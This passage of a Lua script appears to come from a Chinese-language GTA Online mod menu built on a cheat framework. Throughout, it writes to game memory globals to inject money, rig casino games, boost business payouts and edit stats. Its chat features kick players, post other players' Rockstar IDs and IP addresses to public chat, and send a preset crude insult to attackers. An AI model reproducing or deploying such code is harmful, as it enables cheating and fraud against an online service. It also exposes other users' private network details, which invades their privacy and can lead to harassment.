    end)

    crew_id_menu = menu.readonly(crew_menu, "帮会ID")
    crew_rp_menu = menu.readonly(crew_menu, "帮会经验")
    crew_current_menu = menu.readonly(crew_menu, "当前帮会等级")


    local crew_level = menu.slider(crew_menu, "帮会等级", { "crew" .. i .. "level" }, "", 1, 8000, 1, 1,
        function(value)
        end)

    menu.action(crew_menu, "设置帮会等级", { "setcrew" .. i .. "level" }, "", function()
        local rp = util.get_rp_required_for_rank(menu.get_value(crew_level))
        set_stat_int(crew_level_stat, rp)
        util.toast("完成! 可能需要重新切换战局")
    end)
end

local online_funfeatures = GT(onlinemode, '娱乐选项', {}, '')

GTAC(online_funfeatures, '雪球大战', {}, '给战局中的每个人赠送雪球并手机通知他们', function ()
    local plist = players.list()
    local snowballs = util.joaat('WEAPON_SNOWBALL')
    for i = 1, #plist do
        local plyr = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(plist[i])
        WEAPON.GIVE_DELAYED_WEAPON_TO_PED(plyr, snowballs, 20, true)
        WEAPON.SET_PED_AMMO(plyr, snowballs, 20)
        players.send_sms(plist[i], players.user(), '雪球大战!你获得了雪球')
        wait()
    end
end)

GTAC(online_funfeatures, '烟花派对', {}, '给战局中的每个人赠送烟花发射器并手机通知他们', function ()
    local plist = players.list()
    local fireworks = util.joaat('weapon_firework')
    for i = 1, #plist do
        local plyr = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(plist[i])
        WEAPON.GIVE_DELAYED_WEAPON_TO_PED(plyr, fireworks, 20, true)
        WEAPON.SET_PED_AMMO(plyr, fireworks, 20)
        players.send_sms(plist[i], players.user(), '烟花派对!你获得了烟花')
        wait()
    end
end)

GTLP(online_funfeatures, '金钱追踪', {}, '到处都是假钱袋', function ()
    local targets = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user())
    local tar1 = ENTITY.GET_ENTITY_COORDS(players.user_ped(), true)
    Streamptfx('scr_exec_ambient_fm')
    if TASK.IS_PED_WALKING(targets) or TASK.IS_PED_RUNNING(targets) or TASK.IS_PED_SPRINTING(targets) then
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD('scr_ped_foot_banknotes', tar1.x, tar1.y, tar1.z - 1, 0, 0, 0, 1.0, true, true, true)
    end
    
end)

GTAC(online_funfeatures, '停止观看', {'sspect'}, '停止在战局里观看任何人', function ()
    Specon(players.user())
    Specoff(players.user())
end)

GTLP(online_funfeatures, '增加虎鲸导向导弹射程', {'krange'}, '你现在可在地图的任何地方使用', function ()
    if util.is_session_started() then
    memory.write_float(memory.script_global(262145 + 30176), 200000.0)
    end
end)


chat_presets_root = GT(onlinemode, "聊天预设", {"lancescriptchatpresets"},"聊天预设,为方便起见")

GTAC(chat_presets_root, "真实本地化 \"DOX\"", {}, "向每个人发送本地化的 \"DOX\" 。每个人都会认为你正在发出所有人的信息,而实际上,每个人都看到了自己的信息,没有人看到其他人。", function(click_type)
    showrealip()
end)

GTAC(chat_presets_root, "虚假的崩溃", {}, "发送本地化的假崩溃百分比条", function(click_type)
    chatcrash()
end)

GTAC(chat_presets_root, "虚假黑客", {}, "发出一个本地化的假黑入百分比条", function(click_type)
    fakechathacking()
end)

GTAC(chat_presets_root, "随机笑话", {"randomjoke"}, "随便讲个笑话", function(click_type)
    ramdomjokelol()
end)

GTLP(chat_presets_root, "随机笑话循环", {"randomjokeloop"}, "讲一个随机笑话，五秒循环一次", function(click_type)
    loopchatjoke()
end)
for k,v in pairs(chat_presets) do
    GTAC(chat_presets_root, k, {}, "\"" .. v .. "\"", function(click_type)
        chat.send_message(v, false, true, true)
    end)
end

randomizer_root = GT(onlinemode, "虚假随机", {"lsrandomizer"}, "随机化Stand中的一些菜单数值,但是这不会为您启用Stand中的选项,它只会随机输入数值")


GTTG(randomizer_root, "随机虚假名字", {}, "开启后切换战局才能生效.", function(on)
    ramdomfakename(on)
end)

GTTG(randomizer_root, "随机虚假IP", {}, "", function(on)
    ramdomfakeip(on)
end)

random_rank_spoof = false
GTTG(randomizer_root, "随机虚假等级", {}, "", function(on)
    ramdomfakelvl(on)
end)

GTLP(randomizer_root, "虚假短信名称", {}, "", function(on)
    spamtextname(on)
end)

    local fakemoney = GT(onlinemode, '虚假金钱', {'JSfakeMoney'}, '添加假钱,只能看不能花')


        GTAC(fakemoney, '添加假钱', {'JSaddFakeMoney'}, '添加假钱1次', function()
            addfakemoney()
        end)

        GTLP(fakemoney, '循环假钱', {'JSloopFakeMoney'}, '设置循环添加假钱的延迟', function()
            loopaddfakemoney()
        end)

        GTTG(fakemoney, '显示"交易处理中"', {'JSfakeTransaction'}, '添加假钱时右下角显示关于"交易处理中"的信息', function(toggle)
            fakeMoneyTransactionPending = toggle
        end, fakeMoneyTransactionPending)

        local fakemoneyloopdelayasd = GT(fakemoney, '假钱循环延迟', {'JSexpDelay'}, '让您为假钱循环设置自定义延迟.')
        generateDelaySettings(fakemoneyloopdelayasd, '假钱循环延迟', fakeMoneyLoopDelay)

        GTluaScript.slider(fakemoney, '银行假钱', {'JSbankFakeMoney'}, '将会有多少假钱被添加到您的银行', -2000000000, 2000000000, bankFakeMoney, 1, function(value)
            bankFakeMoney = value
        end)

        GTluaScript.slider(fakemoney, '现金假钱', {'JScashFakeMoney'}, '将会有多少假钱以现金形式添加', -2000000000, 2000000000, cashFakeMoney, 1, function(value)
            cashFakeMoney = value
        end)

    local safemonitormode = GT(onlinemode, '保险箱监视器', {'JSsm'}, '允许您监视您的保险箱\n不会影响正在增加的钱')

    local safeMonitorToggle = false
    GTTG(safemonitormode, '启用监视', {'SMtoggleAllSelected'}, '启用监视所有已选择的选项', function(toggle)
        safeMonitorToggle = toggle
    end)

    generateToggles(JS_tbls.safeManagerToggles, safemonitormode, false)

    local monitorsettings = GT(safemonitormode, '保险箱监视器设置', {'SMsettings'}, '屏幕文字信息设置')

    smSettings = new.hudSettings(-3, 0, 2)
    generateHudSettings(monitorsettings, 'SM', smSettings)

    local casinoasd = GT(onlinemode, '恢复选项[风险]', {''}, '低-中风险选项,但不排除风险')

    GTD(casinoasd, "致幻剂实验室管理")
GTluaScript.click_slider(casinoasd, "产品容量", {"productcapacity"}, "", 0, 1000, 160, 1, function(capacity)
    memory.write_int(memory.script_global(262145 + 18949), capacity) 
end)

GTTG(casinoasd, "免费供应", {"supplycost"}, "", function()
    memory.write_int(memory.script_global(262145 + 21869), 0)
    memory.write_int(memory.script_global(262145 + 21869), 60000)
end)

GTTG(casinoasd, "提高生产效率", {"increaseproductionspeed"}, "", function()
    memory.write_int(memory.script_global(262145 + 17396), 100) 
    memory.write_int(memory.script_global(262145 + 17396), 135000) 
end)

GTAC(casinoasd, "重新补给致幻剂", {"resupplyacid"}, "", function()
    local time = NETWORK.GET_CLOUD_TIME_AS_INT() - memory.read_int(memory.script_global(262145 + 18954))
    memory.write_int(memory.script_global(1648637 + 1 + 6), time)
end)

GTluaScript.click_slider(casinoasd, "出售价值倍数", {"value"}, "警告：经测试，安全金额约为200万。尽量不要超过，除非你头铁不怕封.", 0, 10000, 1, 1, function(value)
    memory.write_int(memory.script_global(262145 + 17425), value * 1485) 
end)

    GTLP(casinoasd, '幸运转盘冷却Lucky', {'JSlwCool'}, '告诉您幸运转盘是否可用或距离它还有多长冷却时间.', function()
        casinolucky()
    end)

    GTAC(casinoasd, '赌场 赢/输', {'JScasinoLP'}, '告诉您在赌场赚了多少或输了多少.', function()
        casinolp()
    end)

    GTAC(casinoasd, "前往名钻豪华赌场!", {"tpcasino"}, "", function(click_type)
    ENTITY.SET_ENTITY_COORDS(players.user_ped(), 924.5333, 46.603252, 81.10639 , 1, 0, 0, 1)
end)

GTAC(casinoasd, "前往钻石赌博区!", {"tpslot"}, "闪闪发光!", function(click_type)
    math.randomseed()
    math.random()
    math.random()
    math.random()
    local r = math.random(1,3)
    if(r == 1) then
        ENTITY.SET_ENTITY_COORDS(players.user_ped(), 1113.7837, 239.45398, -49.84081 , 1, 0, 0, 1)
    elseif (r==2) then
        ENTITY.SET_ENTITY_COORDS(players.user_ped(), 1116.7186, 228.10817, -49.84075 , 1, 0, 0, 1)
    elseif (r==3) then
        ENTITY.SET_ENTITY_COORDS(players.user_ped(), 1137.0839, 252.51076, -51.035732 , 1, 0, 0, 1)
    end
end)

GTAC(casinoasd, "前往出纳员!", {"tpcashier"}, "去拿你辛苦工作的报酬吧!", function(click_type)
    ENTITY.SET_ENTITY_COORDS(players.user_ped(), 1116.0076, 219.90002, -49.435116 , 1, 0, 0, 1)
end)

GTAC(casinoasd, "循环赌博", {"startcasinoloop"}, "自动赢得老虎机头奖和离开老虎机: 这样你就不会触发赌场冷却时间. 建议用鼠标自动点击器挂机赚钱", function(click_type)
    loop = not loop
    util.show_corner_help("欢迎来到高端人士交际圈! 一定要下最大赌注.")
    while(loop) do
        GTluaScript.trigger_commands("rigslotmachines jackpot")
        for i=1,100 do 
            util.show_corner_help("回合获胜")
            wait(100)
        end
        GTluaScript.trigger_commands("rigslotmachines loss")
        for i=1,100 do 
            util.show_corner_help("回合输了")
            wait(100)
        end
    end
    util.toast("再见! 希望你赚了很多钱!")
end)

GTAC(casinoasd, "俄罗斯轮盘", {"roulette"}, "带你去俄罗斯轮盘,把它调到1.在第一张12上下注50k,在第一张1上下注5k", function(click_type)
    ENTITY.SET_ENTITY_COORDS(players.user_ped(), 1133.4238, 263.72913, -51.03577 , 1, 0, 0, 1)
    GTluaScript.trigger_commands("rigroulette 1")
end)

    GTAC(casinoasd, "随机传送", {"randomtp"}, "*使用自担风险* 可能会让你在地图或其他奇怪的东西下生成", function(click_type)
        local x,y,z,distToGround, currentHeight
        math.randomseed()
        math.random()
        math.random()
        math.random()
        x = math.random(-3430, 4130)
        y = math.random(-3560, 8000)
        GTluaScript.trigger_commands("posx "..x)
        GTluaScript.trigger_commands("posy "..y)
        GTluaScript.trigger_commands("posz "..ENTITY.GET_ENTITY_HEIGHT_ABOVE_GROUND(players.user_ped()))
end)

    local timetrialsasd = GT(onlinemode, '时间挑战赛', {'JStt'}, '')

    GTD(timetrialsasd, '时间挑战赛')

    GTLP(timetrialsasd, '时间挑战赛 最佳记录', {'JSbestTT'}, '', function()
        besttime()
    end)

    GTAC(timetrialsasd, '传送到时间挑战赛', {'JStpToTT'}, '', function()
        tptotime()
    end)

    GTD(timetrialsasd, 'RC匪徒时间挑战赛')

    GTLP(timetrialsasd, 'RC匪徒时间挑战赛 最佳记录', {'JSbestRcTT'}, '', function()
        bestrctime()
    end)

    GTAC(timetrialsasd, '传送到RC匪徒时间挑战赛', {'JStpToRcTT'}, '', function()
        tptorctime()
    end)


    local blockareas = GT(onlinemode, '阻挡区域', {'JSblock'}, '生成空气墙阻挡某些区域\n这能够让战局玩家无法进入该区域\n请不要在正在加载战局状态时使用')

    GTLP(blockareas, '自定义阻挡', {}, '使您能够通过按"B"来阻挡您面前的区域.', function()
        blocksomewhere()
    end)

    local blocklsc = GT(blockareas, '阻挡洛圣都改车王', {'JSblockLSC'}, '阻挡进入洛圣都改车王.')
    local blockcasino = GT(blockareas, '阻挡赌场', {'JSblockCasino'}, '阻挡进入赌场.')
    local jsblockcasino = GT(blockareas, '阻挡花园银行', {'JSblockCasino'}, '阻挡进入花园银行.')

    local blockAreasActions = {
        --Orbital block
        {root = blockareas, name = '天基炮发射室', coordinates = {{335.95837, 4834.216, -60.99977}}, blocked = false},
        -- Lsc blocks
        {root = blocklsc, name = '伯顿', coordinates = {{-357.66544, -134.26419, 38.23775}}, blocked = false},
        {root = blocklsc, name = 'LSIA', coordinates = {{-1144.0569, -1989.5784, 12.9626}}, blocked = false},
        {root = blocklsc, name = '梅萨', coordinates = {{721.08496, -1088.8752, 22.046721}}, blocked = false},
        {root = blocklsc, name = '布莱恩县', coordinates = {{115.59574, 6621.5693, 31.646144}, {110.460236, 6615.827, 31.660228}}, blocked = false},
        {root = blocklsc, name = '佩立托湾', coordinates = {{115.59574, 6621.5693, 31.646144}, {110.460236, 6615.827, 31.660228}}, blocked = false},
        {root = blocklsc, name = '本尼车坊', coordinates = {{-205.6571, -1309.4313, 31.093222}}, blocked = false},
        -- Casino blocks
        {root = blockcasino, name = '赌场入口', coordinates = {{924.3438, 49.19933, 81.10636}, {922.5348, 45.917263, 81.10635}}, blocked = false},
        {root = blockcasino, name = '赌场车库', coordinates = {{935.29553, -0.5328601, 78.56404}}, blocked = false},
        {root = blockcasino, name = '幸运转盘', coordinates = {{1110.1014, 228.71582, -49.935845}}, blocked = false},
        --Maze bank block
        {root = jsblockcasino, name = '花园银行入口', coordinates = {{-81.18775, -795.82874, 44.227295}}, blocked = false},
        {root = jsblockcasino, name = '花园银行车库', coordinates = {{-77.96956, -780.9376, 38.473335}, {-82.82901, -781.81635, 38.50093}}, blocked = false},
        --Mc block
        {root = blockareas, name = '霍伊会所', coordinates = {{-17.48541, -195.7588, 52.370953}, {-23.452509, -193.01324, 52.36245}}, blocked = false},
        --Arena war garages
        {root = blockareas, name = '竞技场车库', coordinates = {
            {-362.912, -1870.2249, 20.527836}, {-367.41855, -1872.5348, 20.527836},
            {-375.58344, -1874.6719, 20.527828},  {-379.9853, -1876.0894, 20.527828},
            {-386.49762, -1880.2793, 20.527842},  {-390.3558, -1883.0833, 20.527842},
            {-396.9259, -1883.9537, 21.542086}
        }, blocked = false},
    }
        
    
    for i = 1, #blockAreasActions do
        local areaName = blockAreasActions[i].name
        GTAC(blockAreasActions[i].root, '阻挡' ..' '.. areaName, {}, '', function ()
            if not blockAvailable(blockAreasActions[i].blocked, (areaName == '洛圣都国际机场' and areaName or string.capitalize(areaName))) then return end
            setBlockStatus(true)
            blockAreasActions[i].blocked = true
            for j = 1, #blockAreasActions[i].coordinates do
                block(blockAreasActions[i].coordinates[j])
            end
            setBlockStatus(false, areaName)
        end)
    end


local services <const> = GT(onlinemode, "服务请求", {}, "")


GTAC(services, "即时纳米无人机", {}, "", function()
    nanodrone()
end)

GTAC(services, "请求豪华直升机", {}, "", function()
    luxuryhelicopter()
end)

GTAC(services, "即时RC匪徒", {}, "", function()
    bandito()
end)

GTAC(services, "即时遥控RC坦克", {}, "", function ()
    rctank()
end)

TeleRoot = GT(onlinemode, '传送', {}, '')

Proptp = GT(TeleRoot, '资产传送', {'tpprop'}, '传送到所拥有的资产', function()
    tp_prop()
end)

local vteles = GT(TeleRoot, '载具传送', {}, '')

GTAC(vteles, '传送到复仇者', {'tpaven'}, '传送到设施', function ()
    tp_aven()
end)

GTAC(vteles, '传送到虎鲸', {'tpkosatka'}, '传送到佩里科岛抢劫面板', function ()
    tp_kosa()
end)

GTAC(vteles, '传送到机动作战中心', {'tpMOC'}, '传送到地堡', function ()
    tp_moc()
end)

GTAC(vteles, '传送到恐霸', {'tpterro'}, '传送到夜总会', function ()
    tp_terro()
end)

local cargoteles = GT(TeleRoot, 'CEO仓库传送', {}, '')

GTAC(cargoteles, '传送到特殊货物', {'tpscargo'}, '传送并拾取特殊货物', function ()
    tp_scargo()
end)

GTAC(cargoteles, '传送到载具货物', {'tpvcargo'}, '传送并拾取载具货物', function ()
    tp_vcargo()
end)

local intteles = GT(TeleRoot, '室内传送', {}, '')

GTAC(intteles, '传送到电脑', {'tpdesk'}, '传送到办公桌上的电脑', function ()
    tp_desk()
end)

GTAC(intteles, '传送到夜总会的人', {'tpNCPerson'}, '传送到需要接送的夜总会员工', function ()
    tp_NCperson()
end)

GTAC(intteles, '传送到保险柜', {'tpsafe'}, '传送到事务所/游戏厅/夜总会内的保险箱', function ()
    tp_safe()
end)

GTAC(TeleRoot, '传送到摩托帮货物', {'tpMCproduct'}, '传送并拾取摩托帮货物', function ()
    tp_mcproduct()
end)

GTAC(TeleRoot, '传送到地堡货物', {'tpBSupplies'}, '传送并拾取地堡货物', function ()
    tp_bsupplies()
end)

GTAC(TeleRoot, '传送到公共电话亭', {'tppayphone'}, '传送到公共电话亭(必须已经打电话给富兰克林请求暗杀差事)', function ()
    tp_payphone()
end)

GTAC(TeleRoot, '传送到出口码头', {'tpEED'}, '传送到出口码头', function ()
    tp_eed()
end)

GTLuaScript.list_action(onlinemode, "宣布", {""}, "在聊天框中公开宣布玩家信息", { "最佳抢劫目标", "最穷的玩家", "最富的玩家", "最性奋的玩家"}, function(index, value, click_type)
    local ret = nil
    pluto_switch index do 
        case 1: 
            ret = get_best_mug_target()
            break
        case 2: 
            ret = get_poorest_player()
            break
        case 3:
            ret = get_richest_player()
            break
        case 4:
            ret = get_horniest_player()
            break
    end
    if ret ~= nil then
        chat.send_message(ret, false, true, true)
    end
end)

    onlineuse = GT(onlinemode, '其他', {}, '')

    GTD(onlineuse, "无视犯罪")

    GTAC(onlineuse, "警察无视犯罪", { "no_cops" }, "莱斯特", function()
        SET_INT_GLOBAL(2815059 + 4624, 5)
        SET_INT_GLOBAL(2815059 + 4625, 1)
        SET_INT_GLOBAL(2815059 + 4627, NETWORK.GET_NETWORK_TIME())
    end)
    
    GTAC(onlineuse, "贿赂当局", {}, "CEO技能", function()
        SET_INT_GLOBAL(2815059 + 4624, 81)
        SET_INT_GLOBAL(2815059 + 4625, 1)
        SET_INT_GLOBAL(2815059 + 4627, NETWORK.GET_NETWORK_TIME())
    end)
    
    GTLP(onlineuse, "锁定倒计时", {}, "无视犯罪的倒计时", function()
        SET_INT_GLOBAL(2815059 + 4627, NETWORK.GET_NETWORK_TIME())
    end)
    
    GTD(onlineuse, "")
    
    local other_options_SnackArmour = menu.list(onlineuse, "零食护甲编辑", {}, "")
    
    GTAC(other_options_SnackArmour, "补满全部零食", {}, "", function()
        STAT_SET_INT("NO_BOUGHT_YUM_SNACKS", 30)
        STAT_SET_INT("NO_BOUGHT_HEALTH_SNACKS", 15)
        STAT_SET_INT("NO_BOUGHT_EPIC_SNACKS", 5)
        STAT_SET_INT("NUMBER_OF_ORANGE_BOUGHT", 10)
        STAT_SET_INT("NUMBER_OF_BOURGE_BOUGHT", 10)
        STAT_SET_INT("NUMBER_OF_CHAMP_BOUGHT", 5)
        STAT_SET_INT("CIGARETTES_BOUGHT", 20)
        util.toast("完成！")
    end)
    
    GTAC(other_options_SnackArmour, "补满全部护甲", {}, "", function()
        STAT_SET_INT("MP_CHAR_ARMOUR_1_COUNT", 10)
        STAT_SET_INT("MP_CHAR_ARMOUR_2_COUNT", 10)
        STAT_SET_INT("MP_CHAR_ARMOUR_3_COUNT", 10)
        STAT_SET_INT("MP_CHAR_ARMOUR_4_COUNT", 10)
        STAT_SET_INT("MP_CHAR_ARMOUR_5_COUNT", 10)
        util.toast("完成！")
    end)
    
    GTAC(other_options_SnackArmour, "补满呼吸器", {}, "", function()
        STAT_SET_INT("BREATHING_APPAR_BOUGHT", 20)
        util.toast("完成！")
    end)
    
    GTD(other_options_SnackArmour, "零食")

    GTluaScript.click_slider(other_options_SnackArmour, "PQ豆", {}, "+15 Health", 0, 99, 30, 1, function(value)
        STAT_SET_INT("NO_BOUGHT_YUM_SNACKS", value)
        util.toast("完成！")
    end)
    GTluaScript.click_slider(other_options_SnackArmour, "宝力旺", {}, "+45 Health", 0, 99, 15, 1, function(value)
        STAT_SET_INT("NO_BOUGHT_HEALTH_SNACKS", value)
        util.toast("完成！")
    end)
    GTluaScript.click_slider(other_options_SnackArmour, "麦提来", {}, "+30 Health", 0, 99, 5, 1, function(value)
        STAT_SET_INT("NO_BOUGHT_EPIC_SNACKS", value)
        util.toast("完成！")
    end)
    GTluaScript.click_slider(other_options_SnackArmour, "易可乐", {}, "+36 Health", 0, 99, 10, 1, function(value)
        STAT_SET_INT("NUMBER_OF_ORANGE_BOUGHT", value)
        util.toast("完成！")
    end)
    GTluaScript.click_slider(other_options_SnackArmour, "尿汤啤", {}, "", 0, 99, 10, 1, function(value)
        STAT_SET_INT("NUMBER_OF_BOURGE_BOUGHT", value)
        util.toast("完成！")
    end)
    GTluaScript.click_slider(other_options_SnackArmour, "蓝醉香槟", {}, "", 0, 99, 5, 1, function(value)
        STAT_SET_INT("NUMBER_OF_CHAMP_BOUGHT", value)
        util.toast("完成！")
    end)
    GTluaScript.click_slider(other_options_SnackArmour, "香烟", {}, "-5 Health", 0, 99, 20, 1, function(value)
        STAT_SET_INT("CIGARETTES_BOUGHT", value)
        util.toast("完成！")
    end)

    GTAC(onlineuse, "请求重型装甲", {}, "请求弹道装甲和火神机枪", function()
        SET_INT_GLOBAL(2815059 + 884, 1)
    end)
    
    GTAC(onlineuse, "重型装甲包裹 传送到我", {}, "", function()
        local entity_model_hash = 1688540826
        for k, ent in pairs(entities.get_all_pickups_as_handles()) do
            local EntityHash = ENTITY.GET_ENTITY_MODEL(ent)
            if EntityHash == entity_model_hash and ENTITY.IS_ENTITY_A_MISSION_ENTITY(ent) then
                local coords = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.PLAYER_PED_ID(), 0.0, 2.0, 0.0)
                ENTITY.SET_ENTITY_COORDS(ent, coords.x, coords.y, coords.z, true, false, false, false)
            end
        end
    end)

    function STEALTH_LOOP_COMBINED()
    SET_INT_GLOBAL(1969112,1)
    util.log("已增加50万")
    wait(1)
    SET_INT_GLOBAL(1969112,1)
    util.log("已增加75万")
    wait(1)
    end

    loop750 = GTAC(onlinemode, '50万金钱', {""}, '$$$\n<GRANDTOURING免责声明>\n风险随着您使用的次数而增加\n请不要无脑地频繁使用该功能\n您如果因此封禁脚本概不负责', function()
        menu.show_warning(loop750, 2, "GRANDTOURINGVIP 警告(免责声明)\n此项功能未经广泛测试，可能是一项不安全的功能\n您想要继续吗？", function()
        STEALTH_LOOP_COMBINED()
        menu.trigger_commands("accepterrorstr")
        wait(1000)
        menu.trigger_commands("accepterrorstr")
        end)
    end)

    GTAC(onlinemode, "一键解锁成就", {''}, "几乎无风险\n但可能造成云存档失败", function(f)
        for i=0,77 do
        PLAYER.GIVE_ACHIEVEMENT_TO_PLAYER(i)
        end
    end)
    
    GTTG(onlinemode, "文明你我他", {"endracism"}, "自动踢掉说脏话的玩家", function(on)
        end_racism = on
    end)
    
    GTTG(onlinemode, "结束同性恋", {"endhomophobia"}, "自动踢出男同言论的玩家", function(on)
        end_homophobia = on
    end)

    chat.on_message(function(packet_sender, message_sender, text, team_chat)
        toxicshit(packet_sender, message_sender, text, team_chat)
    end)


    throttler = GT(protex, "自动节流器", {}, "")

    require "lib.GTSCRIPTS.E"

    local pool_limiter = GT(protex, "实体池限制", {}, "")

    local block_event_anthing = GT(protex, "阻止选项", {}, "", function() end)

    local block_effect = GT(protex, "拦截选项", {}, "", function() end)
    

	require("lib.GTSCRIPTS.N")

    adbotblock = GT(protex, "广告拦截", {"blockidiotbot"}, "自动踢出聊天频道里发送广告的混蛋", function(on)
    end)
    
    GTD(adbotblock, "抢战局主机效果更佳")

    kick_ad_bot = false
    GTTG(adbotblock, "启用拦截广告", {"blockidiotbot"}, "自动踢出聊天频道里发送广告的混蛋", function(on)
        kick_ad_bot = on
    end)

    kick_ad_bot_chat = 1
    GTluaScript.slider_text(adbotblock, "发送踢出内容", {"blockidiotbot"}, "发送踢出内容到公屏", {"通知","Stand通知","团队聊天不联网", "团队聊天联网", "全局聊天不联网", "全局聊天联网"}, function(s)
        kick_ad_bot_chat = s
    end)
    GTD(adbotblock, "更新选项")
    GTTG(adbotblock, "强劲拦截踢出广告机", {}, "拦截广告机的同时拦截手机短信广告", function (on)
        local antibot = menu.ref_by_path("Online>Chat>Reactions>Advertisement>Kick>Enabled")
        local antitext = menu.ref_by_path("Online>Protections>Text Messages>Advertisement>Kick>Enabled")

        local antibotoff = menu.ref_by_path("Online>Chat>Reactions>Advertisement>Kick>Disabled")
        local antitextoff = menu.ref_by_path("Online>Protections>Text Messages>Advertisement>Kick>Disabled")
        if on then
            menu.trigger_command(antibot)
            menu.trigger_command(antitext)
        else
            menu.trigger_command(antibotoff)
            menu.trigger_command(antitextoff)
        end
    end)

    chat.on_message(function(sender_player_id, sender_player_name, message, is_team_chat)
        if kick_ad_bot then 
        if sender_player_id ~= players.user() then
            for n, w in pairs(banned_words) do
                if string.find(string.lower(message), w) then
                    if (kick_ad_bot_chat == 1) then	
                        notification("检测到广告机\n昵称:"..players.get_name(sender_player_name).."\nRID:"..players.get_rockstar_id(sender_player_name).. "\nIP:"..get_external_ip(sender_player_name) .." 已自动踢出.", colors.blue)
                    end if (kick_ad_bot_chat == 2) then	
                        util.toast("检测到广告机\n昵称:"..players.get_name(sender_player_name).."\nRID:"..players.get_rockstar_id(sender_player_name).. "\nIP:"..get_external_ip(sender_player_name) .." 已自动踢出.")
                    end if (kick_ad_bot_chat == 3) then
                        chat.send_message("检测到广告机\n昵称:"..players.get_name(sender_player_name).."\nRID:"..players.get_rockstar_id(sender_player_name).. "\nIP:"..get_external_ip(sender_player_name) .." 已自动踢出.", true, true, false)
                    end if (kick_ad_bot_chat == 4) then
                        chat.send_message("检测到广告机\n昵称:"..players.get_name(sender_player_name).."\nRID:"..players.get_rockstar_id(sender_player_name).. "\nIP:"..get_external_ip(sender_player_name) .." 已自动踢出.", true, true, true)
                    end if (kick_ad_bot_chat == 5) then
                        chat.send_message("检测到广告机\n昵称:"..players.get_name(sender_player_name).."\nRID:"..players.get_rockstar_id(sender_player_name).. "\nIP:"..get_external_ip(sender_player_name) .." 已自动踢出.", false, true, false)
                    end if (kick_ad_bot_chat == 6) then
                        chat.send_message("检测到广告机\n昵称:"..players.get_name(sender_player_name).."\nRID:"..players.get_rockstar_id(sender_player_name).. "\nIP:"..get_external_ip(sender_player_name) .." 已自动踢出.", false, true, true)
                    end
                    util.log("检测到广告机昵称 "..players.get_name(sender_player_name).." RID:"..players.get_rockstar_id(sender_player_name).. " IP:"..get_external_ip(sender_player_name) .." 已自动踢出.")
                    if players.exists(sender_player_name) then
                    menu.trigger_commands("networkbail ".. players.get_name(sender_player_name))
                    end
                    if players.exists(sender_player_name) then
                    menu.trigger_commands("invitehome ".. players.get_name(sender_player_name))
                    end
                    if players.exists(sender_player_name) then
                    menu.trigger_commands("tpcayo ".. players.get_name(sender_player_name))
                    end
                    if players.exists(sender_player_name) then
                    menu.trigger_commands("gotobeach ".. players.get_name(sender_player_name))
                    end
                    if players.exists(sender_player_name) then
                    menu.trigger_commands("adaptivekick ".. players.get_name(sender_player_name))
                   end
                end
            end
        end
    end
end)


    local anti_mugger = GT(protex, "拦截劫匪")

    GTLP(anti_mugger, "拦截劫匪(自我)", {"blockstealerself"}, "防止您被抢劫", function() 
        blockstealer()
    end)

    GTLP(anti_mugger, "拦截劫匪(全局)", {"blockstealermult"}, "防止战局玩家被抢劫", function()
        blockstealerother()
    end)
    
    GTLP(anti_mugger, "显示劫匪", {}, "", function ()
        show_mugger()
    end)

    GTLP(anti_mugger, "其他人", {}, "防止战局玩家被抢劫", function()
    if NETWORK.NETWORK_IS_SCRIPT_ACTIVE("am_gang_call", 0, true, 0) then
        local ped_netId = memory.script_local("am_gang_call", 63 + 10 + (0 * 7 + 1))
        local sender = memory.script_local("am_gang_call", 287)
        local target = memory.script_local("am_gang_call", 288)
        local player = players.user()

        util.spoof_script("am_gang_call", function()
            if memory.read_int(target) ~= player and memory.read_int(sender) ~= player
            and NETWORK.NETWORK_DOES_NETWORK_ID_EXIST(memory.read_int(ped_netId)) 
            and NETWORK.NETWORK_REQUEST_CONTROL_OF_NETWORK_ID(memory.read_int(ped_netId)) then
                local mugger = NETWORK.NET_TO_PED(memory.read_int(ped_netId))
                entities.delete_by_handle(mugger)
                util.toast("拦截劫匪发送来自 " .. players.get_name(memory.read_int(sender)) .. " to " .. players.get_name(memory.read_int(target)))
            end
        end)
    end
end)

    crash_cf = GT(protex, "攻击嘲讽")
    local toxic_text = "\n崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残!!\n--------¦XIPRO"
    GTluaScript.text_input(crash_cf, "XiPro嘲讽文字", {"Customizeidicule"}, "", function(value)
        toxic_text = value
    end, toxic_text)

    GTLP(crash_cf, "开启XiPro攻击嘲讽", {"toxic_text"}, "", function()
        for _, pid in ipairs(players.list(false, true, true)) do
            if players.is_marked_as_attacker(pid,1 << 0x03) or players.is_marked_as_attacker(pid,1 << 0x04) or players.is_marked_as_attacker(pid,1 << 0x05) or players.is_marked_as_attacker(pid,1 << 0x0C) or players.is_marked_as_attacker(pid,1 << 0x0D) or players.is_marked_as_attacker(pid,1 << 0x0E) then
                chat.send_message(PLAYER.GET_PLAYER_NAME(pid).. toxic_text,false,true,true)
                    break
                end
            end
    end)

ridicule = "\n你正在攻击一位高贵的GRANDTOURINGVIP用户,请立刻停止你的行为!\n--------¦GT"

GTluaScript.text_input(crash_cf, "GT嘲讽文字", {"Customizeridicule2"}, "", function(value)

    ridicule = value

end, ridicule)

GTLP(crash_cf, "开启GT攻击嘲讽", {"gtridicule"}, "", function()
    for _, pid in ipairs(players.list(false, true, true)) do
        if players.is_marked_as_attacker(pid,1 << 0x03) or players.is_marked_as_attacker(pid,1 << 0x04) or players.is_marked_as_attacker(pid,1 << 0x05) or players.is_marked_as_attacker(pid,1 << 0x0C) or players.is_marked_as_attacker(pid,1 << 0x0D) or players.is_marked_as_attacker(pid,1 << 0x0E) then
            chat.send_message(PLAYER.GET_PLAYER_NAME(pid)..ridicule,false,true,true)
                break
            end
        end

end)

cuteanti = "\n他喵的快快住手,不要再玩崩溃了啦,请您尝试做一个乖孩纸\n你要是再这么调皮儿,我就要打你屁屁喽!!!\n--------¦GRANDTOURINGVIP"

GTluaScript.text_input(crash_cf, "可爱版嘲讽文字", {"Customizecute"}, "", function(value)

    cuteanti = value

end, cuteanti)

GTLP(crash_cf, "开启可爱版嘲讽", {"cuteanti"}, "", function()
    for _, pid in ipairs(players.list(false, true, true)) do
